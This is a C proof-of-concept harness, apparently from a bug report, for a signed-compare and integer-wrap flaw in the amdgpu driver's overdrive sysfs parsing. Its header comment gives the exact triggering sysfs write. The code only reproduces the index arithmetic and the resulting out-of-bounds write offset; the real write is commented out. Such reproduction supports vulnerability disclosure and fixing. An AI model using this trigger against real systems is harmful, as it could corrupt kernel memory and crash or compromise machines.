DF-3687 / odn_negative_level.c
/* * DF-3687 harness: signed-compare bypass + uint32_t wrap in * smu7_odn_edit_dpm_table (smu7_hwmgr.c:4854-4868) driven through the exact * sysfs parsing path amdgpu_set_pp_od_clk_voltage (amdgpu_pm.c:543-611): * echo "s -1 105000 1150" > pp_od_clk_voltage * kstrtol("-1") -> long -1. The bounds check * input[i] >= podn_dpm_table_in_backend->num_of_pl * compares a signed 64-bit long against uint32_t num_of_pl (usual arithmetic * conversions -> SIGNED compare) so -1 passes. The value is then stored in * `uint32_t input_level` -> 0xFFFFFFFF and used as an array index into * entries[8] of struct phm_odn_clock_levels (hardwaremanager.h:390-396). * * This harness reproduces the arithmetic (C semantics identical in userland * and kernel) and shows the resulting byte offset of the write. */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> struct phm_odn_performance_level { uint32_t clock; uint32_t vddc; uint8_t enabled; }; struct phm_odn_clock_levels { uint32_t size; uint32_t options; uint32_t flags; uint32_t num_of_pl; struct phm_odn_performance_level entries[8]; }; /* kstrtol stand-in (same semantics for "-1", base 0) */ static long kstrtol_dash1(const char *s) { return strtol(s, NULL, 0); } int main(void) { struct phm_odn_clock_levels tbl = { .num_of_pl = 8 }; long input[3]; uint32_t input_clk, input_level; /* echo "s -1 105000 1150" > pp_od_clk_voltage */ input[0] = kstrtol_dash1("-1"); input[1] = kstrtol_dash1("105000"); input[2] = kstrtol_dash1("1150"); printf("parsed sysfs longs: level=%ld clk=%ld voltage=%ld\n", input[0], input[1], input[2]); /* verbatim check from smu7_hwmgr.c:4855 (signed long vs uint32_t) */ if (input[0] >= (long)tbl.num_of_pl && (uint32_t)input[0] >= tbl.num_of_pl) { printf("level rejected by bounds check\n"); return 1; } printf("bounds check `input[i] >= num_of_pl` (long %ld vs u32 %u): PASSED " "(signed compare, negative passes)\n", input[0], tbl.num_of_pl); /* verbatim truncation from smu7_hwmgr.c:4859 */ input_level = input[0]; input_clk = input[1] * 100; printf("uint32_t input_level = 0x%08x\n", input_level); printf("write offset = input_level * sizeof(phm_odn_performance_level) " "= %u * %zu = %llu bytes past entries[0]\n", input_level, sizeof(struct phm_odn_performance_level), (unsigned long long)input_level * sizeof(struct phm_odn_performance_level)); /* would-be sink (not executed; would fault at ~+48GB on any real map): * podn_dpm_table_in_backend->entries[input_level].clock = input_clk; */ printf("RESULT: WILD OOB WRITE CONFIRMED at the arithmetic level - any u32 " "index is selectable via negative sysfs input (e.g. -1 -> +51,539,607,540)\n"); return 0; } |